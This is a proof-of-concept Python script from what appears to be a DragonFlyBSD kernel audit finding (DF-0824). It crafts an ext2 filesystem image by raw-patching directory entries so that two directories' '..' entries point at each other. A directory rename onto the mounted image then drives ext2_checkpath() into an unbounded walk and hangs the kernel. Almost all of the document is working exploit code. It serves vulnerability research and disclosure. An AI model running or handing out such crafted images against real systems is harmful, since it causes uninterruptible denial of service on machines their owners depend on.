DragonFlyBSD Kernel Audit
DF-0824 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-0824 — craft an ext2 image whose directories A and B have cyclic
`..` entries (A's `..` -> B, B's `..` -> A), neither being root.

This is impossible to create online (mkdir/rename always set `..` to the true
parent, and hard-linking directories is forbidden). It requires offline image
editing via raw byte patching of the on-disk directory entries.

The resulting image, when mounted and used as the target of a directory
rename(2), triggers the unbounded `..` walk in ext2_checkpath()
(sys/vfs/ext2fs/ext2_lookup.c:1212-1241) -> uninterruptible kernel hang / DoS.

Layout (after mke2fs + debugfs mkdir):
  /lost+found   (default)
  /S            (source dir for rename; normal `..`->root)
  /A            (target dir; FORGED `..`->B)
  /B            (FORGED `..`->A)

The `..` inode field lives at byte offset 12 inside the directory's first data
block (struct dirtemplate: dot_ino[0..3], dot_reclen[4..5], dot_type[6],
dot_namlen[7], dot_name[8..11], dotdot_ino[12..15], ...).
"""
import struct, subprocess, sys, os

IMG = "df0824.img"
SZ_MB = 1

def run(*args, **kw):
    return subprocess.run(args, check=True, capture_output=True, text=True, **kw)

# 1. Create the base ext2 image (old-school: no metadata_csum, no 64bit).
if os.path.exists(IMG):
    os.unlink(IMG)
run("dd", "if=/dev/zero", f"of={IMG}", "bs=1M", f"count={SZ_MB}")
run("mke2fs", "-t", "ext2", "-b", "1024", "-I", "128",
    "-O", "^metadata_csum,^64bit,^resize_inode,^dir_index", "-N", "32",
    "-F", IMG)

# 2. Pre-create S, A, B as subdirs of root.
for d in ("S", "A", "B"):
    run("debugfs", "-w", "-R", f"mkdir {d}", IMG)

# 3. Read the superblock to find geometry.
with open(IMG, "rb") as f:
    f.seek(1024)
    sb = f.read(1024)
block_size = 1024 << struct.unpack_from("<I", sb, 0x18)[0]
inode_size = struct.unpack_from("<H", sb, 0x58)[0]
first_data_block = struct.unpack_from("<I", sb, 0x14)[0]

# 4. Read block group descriptor 0 (at block first_data_block+1) -> inode table.
with open(IMG, "rb") as f:
    f.seek((first_data_block + 1) * block_size)
    bgd = f.read(32)
inode_table_block = struct.unpack_from("<I", bgd, 0x8)[0]

def inode_data_block(ino):
    """Return the first data block number for an inode."""
    with open(IMG, "rb") as f:
        f.seek(inode_table_block * block_size + (ino - 1) * inode_size)
        idata = f.read(inode_size)
    return struct.unpack_from("<I", idata, 0x28)[0]

def parse_dir_block(blk):
    entries = {}
    off = 0
    while off + 8 <= len(blk):
        ino, reclen, namlen, typ = struct.unpack_from("<IHBB", blk, off)
        if reclen == 0:
            break
        name = blk[off + 8: off + 8 + namlen].decode("ascii", "replace")
        entries[name] = ino
        off += reclen
    return entries

# 5. Find inode numbers by reading root dir.
root_data_block = inode_data_block(2)  # root inode = 2
with open(IMG, "rb") as f:
    f.seek(root_data_block * block_size)
    root_entries = parse_dir_block(f.read(block_size))

print("root entries:", root_entries)
S_ino = root_entries.get("S")
A_ino = root_entries.get("A")
B_ino = root_entries.get("B")
assert S_ino and A_ino and B_ino, f"missing S/A/B inodes: {root_entries}"
print(f"S={S_ino} A={A_ino} B={B_ino}")

A_blk = inode_data_block(A_ino)
B_blk = inode_data_block(B_ino)
print(f"A data block={A_blk}, B data block={B_blk}")

# 6. Patch the `..` inode (offset 12) of A -> B_ino and of B -> A_ino.
with open(IMG, "r+b") as f:
    f.seek(A_blk * block_size + 12)
    f.write(struct.pack("<I", B_ino))
    f.seek(B_blk * block_size + 12)
    f.write(struct.pack("<I", A_ino))

print(f"FORGED: A(..)->{B_ino}, B(..)->{A_ino}  [cycle A<->B]")

# 7. Dump the patched blocks for proof.
with open(IMG, "rb") as f:
    f.seek(A_blk * block_size)
    ad = f.read(32)
    f.seek(B_blk * block_size)
    bd = f.read(32)
print("A block[0:32]:", ad.hex())
print("B block[0:32]:", bd.hex())

# 8. debugfs verification (it will complain about the cycle but still show it).
r = run("debugfs", "-R", "ls -l /", IMG)
print("--- debugfs ls -l / ---")
print(r.stdout)